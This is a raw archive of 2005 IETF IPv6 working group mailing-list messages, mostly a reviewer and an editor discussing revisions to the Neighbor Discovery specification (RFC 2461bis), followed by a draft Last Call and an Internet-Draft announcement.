List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: b5299d0955d21ceeb18e25a232290fec Content-Transfer-Encoding: quoted-printable Hi Tatuya,=20 Thanks for the review, some answers inline. > Non-editorial comments >=20 > 1. (throughout the document) >=20 > There is a mixture of > - how IPv6 operates over different link layers > and > - how IP operates over different link layers > even though there does not seem to be ambiguity of what "IP" means. > I guess we can simply use "how IP"...for all the cases. =3D> I'd rather use IPv6 if that's ok with everyone since this doc is = only applicable to IPv6. >=20 > 2. (general) >=20 > This document hardcodes a constant of "1280" as the minimum link MTU > in some places, but shouldn't we be more flexible and simply refer to > RFC2460? =3D> ok, I'll take a look. >=20 > 3. Section 2.2. (Link Types) > Note that all link types (including NBMA) are > expected to provide multicast service=20 > for IP (e.g., > using multicast servers), but it is an issue for > further study whether ND should use such=20 > facilities > or an alternate mechanism that provides the > equivalent ND services. >=20 > I cannot parse this sentence, especially the very last part of it. > Does this mean something like this? =3D> This was updated based on Elwyn Davies' comment but perhaps I could reword to make it clearer. The aim was to distinguish the provision of = multicast applications from multicasting messages on the link. >=20 > it is an issue for > further study whether ND should use such=20 > facilities > or an alternate mechanism that provides the > equivalent ND services should be used. >=20 > 4. Section 2.3. (Addresses) >=20 > Note that this specification does not strictly comply with the > consistency requirements for the scopes of source and destination > addresses. It is possible in some cases for hosts to use a source > address of a larger scope than the destination address in the IPv6 > header. >=20 > what's the "consistency requirements"? What ever they are, should we > bother to mention this in the first place? =3D> We can refer to src address selection rules here for the = consistency requirements. >=20 > 5. Section 4.2. (Router Advertisement Message Format) >=20 > Reserved A 6-bit unused field. It MUST be initialized to > zero by the sender and MUST be ignored by the > receiver. >=20 > I'm wondering whether we can be more flexible here, since we've > already had several proposals that use the "Reserved" field. I know > our consensus is that rfc2461bis itself does not included those > extensions, but I think it is less-confusing to note that=20 > the Reserved > field may be used in future extensions. =3D> It's sort of self explanatory that Reserved can be used in future, = the important thing is that it's set to zero and ignored on reception. >=20 >=20 > 6. Section 4.6.2. (Prefix Information) >=20 > Prefix Length 8-bit unsigned integer. [... > ...]. The prefix length field provides > necessary information for on-link determination > (when combined with other flags in the prefix > option). [...] >=20 > what are the "other flags"? If you mean the on-link (L)=20 > flag, I think > we should explicitly say so. =3D> ok. >=20 > 7. Section 4.6.2. (Prefix Information) >=20 > A 1-bit autonomous address-configuration=20 > flag. When > set indicates that this prefix can be used for > autonomous address configuration as specified in > [ADDRCONF]. >=20 > =3D> in this context, I guess it is better to use "stateless address > autoconfiguration" instead of "autonomous address configuration". > (not a strong opinion, though) =3D> I don't care either way but if the document is going to be updated = anyway I can put that. >=20 > 8. Section 4.6.2. (Prefix Information) >=20 > Prefix An IP address or a prefix of an IP address. The > Prefix Length field contains the number of valid > leading bits in the prefix. [... > ...] A router SHOULD NOT send a prefix > option for the link-local prefix and a=20 > host SHOULD > ignore such a prefix option. >=20 > =3D> I don't see why we cannot use 'MUST (NOT)' here. Is there any > scenario where it makes sense for a router to include the link-local > prefix in the prefix information option? (Perhaps it's too late to > make this comment, and I'm personally fine is the current wording). =3D> MUSTs are used to indicate that the protocol would break if a = certain action] is taken. In this case the protocol will not break so no need for MUST. >=20 > 9. Section 6.2.3. (Router Advertisement Message Content) >=20 > - In the M and O flags: the interface's configured=20 > AdvManagedFlag > and AdvOtherConfigFlag, respectively. See [ADDRCONF]. >=20 > I've already pointed out that this part is not fully=20 > synchronized with > the latest consensus on [ADDRCONF], but I'd like to repeat that here > to make it sure. In particular, we cannot refer to [ADDRCONF] here, > since it does not mention these flags any more. Also, if we=20 > can refer > to [ADDRCONF] as an informative reference (which I agree with), I > believe we should also refer to draft-ietf-ipv6-ra-mo-flags-00.txt as > an informative reference. (Basically, we should rather refer to the > ra-mo-flags document when we talk about M/O, AdvManagedFlag, or > AdvOtherConfigFlag). =3D> ok, I'll remove the reference to be consistent with other sections, = this one must have slipped.=20 >=20 > 10. Section 6.3.4. (Processing Received Router Advertisements) >=20 > [...] Moreover, information > may also be obtained through other dynamic means, such as stateful > autoconfiguration. >=20 > I believe we basically agreed (particularly in 2462bis and the recent > M/O flag work) that "stateful configuration" is somewhat=20 > confusing and > we should just say DHCPv6 wherever possible.=20 =3D> Already done in the new rev. > 11. Section 6.3.4. (Processing Received Router Advertisements) >=20 > Stateless address autoconfiguration [ADDRCONF] may in some > circumstances increase the Valid Lifetime of a prefix or ignore it > completely in order to prevent a particular denial of=20 > service attack. >=20 > "the Valid Lifetime of a prefix" is not really correct in the context > of [ADDRCONF]; the lifetime is associated with addresses, not > prefixes. And [ADDRCONF] does not directly manipulate prefix > lifetimes. So, I think it's better to say, e.g.: >=20 > Stateless address autoconfiguration [ADDRCONF] may in some > circumstances use a larger Valid Lifetime of a prefix or=20 > ignore the > Valid Lifetime completely in order to prevent a particular denial > of service attack. =3D> I don't see how this is different from the above though. Using a = larger LT means you've increased it. >=20 > 12. Section 7.2.5. (Receipt of Neighbor Advertisements) >=20 > If the target's Neighbor Cache entry is in the INCOMPLETE=20 > state when > the advertisement is received, one of two things happens. >=20 > I don't understand this sentence; what exactly does "one of two > things" specify? It's not clear from the succeeding part. =3D> Already fixed in the new rev, please take a look and let me know. >=20 > 13. Section 11.1 (Threat analysis) >=20 > Whereas the third paragraph begins with >=20 > An example of denial of service attacks is that [...] , >=20 > this paragraph also talks about other types of threats, e.g., >=20 > [...] That router can then > selectively examine, modify or drop all packets sent on the link. >=20 > where packet modification can also lead to other types of attacks. I > believe this paragraph needs to be more accurate. >=20 > 14. Section 11.1 (Threat analysis) >=20 > [...] It is natural to trust the routers > on the link. >=20 > I'm afraid we cannot justify this statement once we refer to [PSREQ]. =3D> Yes, it's not something that should be said in a spec anyway. I'll = change it. >=20 > 15. Section 11.1 (Threat analysis) >=20 > 2461bis-02 has removed the following part of RFC2461: >=20 > Received Authentication Headers in Neighbor Discovery=20 > packets MUST be > verified for correctness and packets with incorrect authentication > MUST be ignored. >=20 > It SHOULD be possible for the system administrator to configure a > node to ignore any Neighbor Discovery messages that are not > authenticated using either the Authentication Header or=20 > Encapsulating > Security Payload. The configuration technique for this MUST be > documented. Such a switch SHOULD default to allowing=20 > unauthenticated > messages. >=20 > But I believe these requirements are still valid and should be > included *when we use IPsec* for ND, even if we note the=20 > limitation of > the use of IPsec to secure ND. =3D> Since we removed all reference to IPsec except on its limitations, = I don't think we should add this one last bit because it might confuse people. = Realistically, IPsec is not going to be used with ND in a large network. I haven't reviewed or updaetd the Appendices except for the state = machine.=20 >=20 > 16. APPENDIX A (MULTIHOMED HOSTS) >=20 > Some of the issued in this appendix are discussed in the "default > router preference" draft. I believe we should refer to this document > (IMO, it can be an informative reference). =3D> ok. >=20 > 17. APPENDIX A (MULTIHOMED HOSTS) >=20 > [...] Under > similar conditions in the non-multihomed host case, a node > treats all destinations as residing on-link, and=20 > communication > proceeds. [...] >=20 > This is the so-called "on-link" assumption, which was removed in > rfc2461bis. Note that we cannot simply remove this=20 > sentence, since it > would also affect the succeeding sentence. =3D> ok I'll reword and send text. >=20 > 18. APPENDIX C (STATE MACHINE FOR THE REACHABILITY STATE) >=20 > I don't really remember the past discussions, but isn't there an > inconsistency between this table and the specification described in > the document body? =3D> There was, it was fixed in the last update. At least the one that = was raised. I'll take care of the editorials, some of them are already done.=20 Thanks, Hesham =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D This email may contain confidential and privileged material for the sole = use of the intended recipient. Any review or distribution by others is = strictly prohibited. If you are not the intended recipient please contact the = sender and delete all copies. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Wed Feb 23 01:44:19 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA20158 for ; Wed, 23 Feb 2005 01:44:18 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D3qcZ-0004iy-0r for ipv6-web-archive@ietf.org; Wed, 23 Feb 2005 02:07:44 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3kgC-0004dw-Q0; Tue, 22 Feb 2005 19:47:04 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3ff8-00021A-HE for ipv6@megatron.ietf.org; Tue, 22 Feb 2005 14:25:39 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA07037 for ; Tue, 22 Feb 2005 14:25:31 -0500 (EST) Received: from shuttle.wide.toshiba.co.jp ([202.249.10.124]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D3g1Z-0007Ex-03 for ipv6@ietf.org; Tue, 22 Feb 2005 14:48:51 -0500 Received: from ocean.jinmei.org (unknown [2001:4f8:3:bb:200:39ff:fed7:e2e4]) by shuttle.wide.toshiba.co.jp (Postfix) with ESMTP id 0315E15218; Wed, 23 Feb 2005 04:25:09 +0900 (JST) Date: Wed, 23 Feb 2005 04:25:41 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: Christian Vogt In-Reply-To: <421B06F0.3090905@tm.uka.de> References: <421A3145.3020709@tm.uka.de> <421B06F0.3090905@tm.uka.de> User-Agent: Wanderlust/2.10.1 (Watching The Wheels) Emacs/21.3 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.5 - "Awara-Onsen") Content-Type: text/plain; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Scan-Signature: bb8f917bb6b8da28fc948aeffb74aa17 Cc: "Soliman, Hesham" , Mark Doll , Roland Bless , ipv6@ietf.org, greg.daley@eng.monash.edu.au Subject: Re: RFC 2461[bis]: RS with srcaddr but w/o SLLAO X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: e1e48a527f609d1be2bc8d8a70eb76cb >>>>> On Tue, 22 Feb 2005 11:18:24 +0100, >>>>> Christian Vogt said: > Ok, your point is the order implied in the text I suggested. I actually > didn't mean to imply this. But yes, the text could potentially be > misinterpreted. So maybe you whish to reduce it to the following? (snip) > In the above, the first paragraph specifies NC-state creation, and the > second specifies the additional address-resolution procedure that may be > required in the case of a unicast RA. This second paragraph is based on > the corresponding existing paragraph in section 7.2.4. (Note the > difference between "[unicast] Router Solicitations" and "[unicast] > Router Advertisements", though.) This is good for conformity. > We don't need to explicitly address the case of a solicitation without > SLLAO in the first paragraph, because (a) no NC state is created in case > of a multicast RA, (b) the second paragraph describes address resolution > and state creation in case of a unicast RA in conformance with section > 7.2.4, and (c) the decision of whether to send a multicast or a unicast > RA is already attended to in the beginning of section 6.2.6. Okay, the proposed text looks reasonable. > An aside with respect to the second paragraph: You may also want to > modify this paragraph through a s/Neighbor Discovery/address resolution/ > in both section 7.2.4 and, as suggested, section 6.2.6. I tend to agree (although it's not a strong preference). JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Wed Feb 23 01:45:35 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA20437 for ; Wed, 23 Feb 2005 01:45:35 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D3qdo-0004lI-Oc for ipv6-web-archive@ietf.org; Wed, 23 Feb 2005 02:09:01 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3kgE-0004eH-KN; Tue, 22 Feb 2005 19:47:06 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3fk4-0002V0-Lk for ipv6@megatron.ietf.org; Tue, 22 Feb 2005 14:30:44 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA07467 for ; Tue, 22 Feb 2005 14:30:37 -0500 (EST) Received: from shuttle.wide.toshiba.co.jp ([202.249.10.124]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D3g6X-0007Ly-AO for ipv6@ietf.org; Tue, 22 Feb 2005 14:53:57 -0500 Received: from ocean.jinmei.org (unknown [2001:4f8:3:bb:200:39ff:fed7:e2e4]) by shuttle.wide.toshiba.co.jp (Postfix) with ESMTP id 775091521B; Wed, 23 Feb 2005 04:30:36 +0900 (JST) Date: Wed, 23 Feb 2005 04:31:08 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: greg.daley@eng.monash.edu.au In-Reply-To: <421AC282.3010402@eng.monash.edu.au> References: <421A3145.3020709@tm.uka.de> <421AC282.3010402@eng.monash.edu.au> User-Agent: Wanderlust/2.10.1 (Watching The Wheels) Emacs/21.3 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.5 - "Awara-Onsen") Content-Type: text/plain; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Scan-Signature: 7655788c23eb79e336f5f8ba8bce7906 Cc: "Soliman, Hesham" , Mark Doll , Roland Bless , ipv6@ietf.org Subject: Re: RFC 2461[bis]: RS with srcaddr but w/o SLLAO X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 9466e0365fc95844abaf7c3f15a05c7d >>>>> On Tue, 22 Feb 2005 16:26:26 +1100, >>>>> Greg Daley said: > So if this is the case, we need to describe messages which request a > response or change configuration state without having LLAOs. > How about a paragraph (maybe somewhere else) saying: > "... It is possible that a host may receive a solicitation or a router (snip) > ..." > I'm not sure about whether this is better or not perhaps this could go > into 7.2.X, in an effort to tie the exercise to address resolution, > rather than reception of a particular message (considering that the > document is basically broken into 3 sections: RD, ND, Redirect). I think this type of general clarification makes sense. JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Wed Feb 23 01:45:35 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA20435 for ; Wed, 23 Feb 2005 01:45:35 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D3qdn-0004lF-Ns for ipv6-web-archive@ietf.org; Wed, 23 Feb 2005 02:09:00 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3kgF-0004eO-FZ; Tue, 22 Feb 2005 19:47:07 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3foo-00039b-Ay for ipv6@megatron.ietf.org; Tue, 22 Feb 2005 14:35:38 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA08112 for ; Tue, 22 Feb 2005 14:35:31 -0500 (EST) Received: from pilot.jhuapl.edu ([128.244.197.23] helo=jhuapl.edu) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D3gBG-0007V7-Cq for ipv6@ietf.org; Tue, 22 Feb 2005 14:58:51 -0500 Received: from ([128.244.124.185]) by pilot.jhuapl.edu with ESMTP id KP-VXL34.13350177; Tue, 22 Feb 2005 14:34:16 -0500 Mime-Version: 1.0 (Apple Message framework v619.2) To: IPv6 WG Message-Id: From: Brian Haberman Date: Tue, 22 Feb 2005 14:34:18 -0500 X-Mailer: Apple Mail (2.619.2) X-Spam-Score: 0.0 (/) X-Scan-Signature: d8ae4fd88fcaf47c1a71c804d04f413d Cc: Bob Hinden Subject: IPv6 WG Last Call:draft-ietf-ipv6-addr-arch-v4-01.txt X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============0102251688==" Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 8de5f93cb2b4e3bee75302e9eacc33db --===============0102251688== Content-Type: multipart/signed; micalg=sha1; boundary=Apple-Mail-5--202843442; protocol="application/pkcs7-signature" --Apple-Mail-5--202843442 Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit All, This starts a 2-week IPv6 WG Last Call on advancing: Title : IP Version 6 Addressing Architecture Author(s) : R. Hinden, S. Deering Filename : draft-ietf-ipv6-addr-arch-v4-01.txt Pages : 25 Date : 2005-2-18 as a Draft Standard. Substantive comments should be directed to the mailing list. Editorial comments can be sent to the document editor. This Last Call will end on March 8, 2005. Regards, Bob & Brian IPv6 WG co-chairs --Apple-Mail-5--202843442 Content-Type: application/pkcs7-signature; name=smime.p7s Content-Disposition: attachment; filename=smime.p7s Content-Transfer-Encoding: base64 MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIGJDCCAt0w ggJGoAMCAQICAwz21DANBgkqhkiG9w0BAQQFADBiMQswCQYDVQQGEwJaQTElMCMGA1UEChMcVGhh d3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVt YWlsIElzc3VpbmcgQ0EwHhcNMDQwOTAxMTcxOTM4WhcNMDUwOTAxMTcxOTM4WjBKMR8wHQYDVQQD ExZUaGF3dGUgRnJlZW1haWwgTWVtYmVyMScwJQYJKoZIhvcNAQkBFhhicmlhbkBpbm5vdmF0aW9u c2xhYi5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDRogfqvQwSubSspmgfho1w Br2IRBf5DI+pvLyiFcMM7KTRomseAAznLq+OjixIzT08u0opCIB91C2fohXwqf05+NVmd3/IIrOh gQoQeFrwZdRwkmA1p6/+ivWwwyiIBBVjyIx5cdULoGi3Nl0hanW99zEHWMR7cr9YRfkhrYwyrLwF 2dUlanpDcoC+PJfimFv7Sp5Ymut3GMuvc4hrzmUBs3GhZVUbxrknxBb9C0ApLa++79wQtcrzK7Nr HkGl63vTkfCaR2HqPE53GT1NvPSQyRUMbVBmx5xzuHUlQAY/fMDOLv45qFa9Xb8XfP1Xb+chYzHX xPx4pqVTzZUnfi3RAgMBAAGjNTAzMCMGA1UdEQQcMBqBGGJyaWFuQGlubm92YXRpb25zbGFiLm5l dDAMBgNVHRMBAf8EAjAAMA0GCSqGSIb3DQEBBAUAA4GBABHGCDHcruXemZ3lBjGb0E+TXfwILkNu UykBjSlywXfghEVSEO/cZ/0tMjrqIn1GF3GZeKecvx/aIFawl2pSUejjnLUrEE6Ro5AQs5kyZI3b ma3GPa+TMEOeXBr8Wp+HwkMAk+McfRfGNGTDIBwF+8LnQmMCPlvTYEfuUZ93AAxCMIIDPzCCAqig AwIBAgIBDTANBgkqhkiG9w0BAQUFADCB0TELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rlcm4g Q2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMRowGAYDVQQKExFUaGF3dGUgQ29uc3VsdGluZzEoMCYG A1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjEkMCIGA1UEAxMbVGhhd3RlIFBl cnNvbmFsIEZyZWVtYWlsIENBMSswKQYJKoZIhvcNAQkBFhxwZXJzb25hbC1mcmVlbWFpbEB0aGF3 dGUuY29tMB4XDTAzMDcxNzAwMDAwMFoXDTEzMDcxNjIzNTk1OVowYjELMAkGA1UEBhMCWkExJTAj BgNVBAoTHFRoYXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNVBAMTI1RoYXd0ZSBQZXJz b25hbCBGcmVlbWFpbCBJc3N1aW5nIENBMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDEpjxV c1X7TrnKmVoeaMB1BHCd3+n/ox7svc31W/Iadr1/DDph8r9RzgHU5VAKMNcCY1osiRVwjt3J8CuF Wqo/cVbLrzwLB+fxH5E2JCoTzyvV84J3PQO+K/67GD4Hv0CAAmTXp6a7n2XRxSpUhQ9IBH+nttE8 YQRAHmQZcmC3+wIDAQABo4GUMIGRMBIGA1UdEwEB/wQIMAYBAf8CAQAwQwYDVR0fBDwwOjA4oDag NIYyaHR0cDovL2NybC50aGF3dGUuY29tL1RoYXd0ZVBlcnNvbmFsRnJlZW1haWxDQS5jcmwwCwYD VR0PBAQDAgEGMCkGA1UdEQQiMCCkHjAcMRowGAYDVQQDExFQcml2YXRlTGFiZWwyLTEzODANBgkq hkiG9w0BAQUFAAOBgQBIjNFQg+oLLswNo2asZw9/r6y+whehQ5aUnX9MIbj4Nh+qLZ82L8D0HFAg k3A8/a3hYWLD2ToZfoSxmRsAxRoLgnSeJVCUYsfbJ3FXJY3dqZw5jowgT2Vfldr394fWxghOrvbq NOUQGls1TXfjViF4gtwhGTXeJLHTHUb/XV9lTzGCAucwggLjAgEBMGkwYjELMAkGA1UEBhMCWkEx JTAjBgNVBAoTHFRoYXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNVBAMTI1RoYXd0ZSBQ ZXJzb25hbCBGcmVlbWFpbCBJc3N1aW5nIENBAgMM9tQwCQYFKw4DAhoFAKCCAVMwGAYJKoZIhvcN AQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMDUwMjIyMTkzNDE5WjAjBgkqhkiG9w0B CQQxFgQUtF4Qj7WqbE2jGeytOe/8oWRniesweAYJKwYBBAGCNxAEMWswaTBiMQswCQYDVQQGEwJa QTElMCMGA1UEChMcVGhhd3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3Rl IFBlcnNvbmFsIEZyZWVtYWlsIElzc3VpbmcgQ0ECAwz21DB6BgsqhkiG9w0BCRACCzFroGkwYjEL MAkGA1UEBhMCWkExJTAjBgNVBAoTHFRoYXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNV BAMTI1RoYXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBJc3N1aW5nIENBAgMM9tQwDQYJKoZIhvcNAQEB BQAEggEALanhrbHdsViEaqRgH8TZcKuzuRSb7EhB/6iCVqXiEoEecOlVg+Zo1Vg4xS6Ah10wgd61 2gJ4dkUedEzv8gmSIIYMqHfRgoJ0xAl1r1jESI3Jbg8v2ofVnu+wxcQYgpEKUGbqYKRQ7wO/y1b/ eoET2LtcPqL9U/erXu2xz7AmP+2AsSu9NMCCpj0E0N2TvD7JtZ9C9C61BHvR6ZzNPi9CLQajTvE1 ttYycSuygYa/eOcbKdxMxigF3nPaZd/TENyR8MwAqERTlOIBT8WMPH0z5NGjC2biFzYLhErSdflA g6sCvz5PhYbbgBCAuLIScgegwtrrx6IrQ31pSPgfooECoAAAAAAAAA== --Apple-Mail-5--202843442-- --===============0102251688== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- --===============0102251688==-- From ipv6-bounces@ietf.org Wed Feb 23 18:07:36 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA08323 for ; Wed, 23 Feb 2005 18:07:36 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D45yK-0007k5-CG for ipv6-web-archive@ietf.org; Wed, 23 Feb 2005 18:31:12 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3kjJ-0005N1-KH; Tue, 22 Feb 2005 19:50:17 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3hA8-0000lB-EE; Tue, 22 Feb 2005 16:01:44 -0500 Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA20600; Tue, 22 Feb 2005 16:01:42 -0500 (EST) Message-Id: <200502222101.QAA20600@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: i-d-announce@ietf.org From: Internet-Drafts@ietf.org Date: Tue, 22 Feb 2005 16:01:41 -0500 Cc: ipv6@ietf.org Subject: I-D ACTION:draft-ietf-ipv6-ndproxy-01.txt X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.4 (/) X-Scan-Signature: e1b0e72ff1bbd457ceef31828f216a86 --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the IP Version 6 Working Group Working Group of the IETF. Title : Bridge-like Neighbor Discovery Proxies (ND Proxy) Author(s) : D. Thaler, et al. Filename : draft-ietf-ipv6-ndproxy-01.txt Pages : 19 Date : 2005-2-22 Bridging multiple links into a single entity has several operational advantages. A single subnet prefix is sufficient to support multiple physical links. There is no need to allocate subnet numbers to the different networks, simplifying management. Bridging some types of media requires network-layer support, however. This document describes these cases and specifies the IP-layer support that enables bridging under these circumstances. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-ipv6-ndproxy-01.txt To remove yourself from the I-D Announcement list, send a message to i-d-announce-request@ietf.org with the word unsubscribe in the body of the message. You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce to change your subscription settings. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-ipv6-ndproxy-01.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-ipv6-ndproxy-01.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2005-2-22160413.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-ipv6-ndproxy-01.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-ipv6-ndproxy-01.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2005-2-22160413.I-D@ietf.org> --OtherAccess-- --NextPart Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 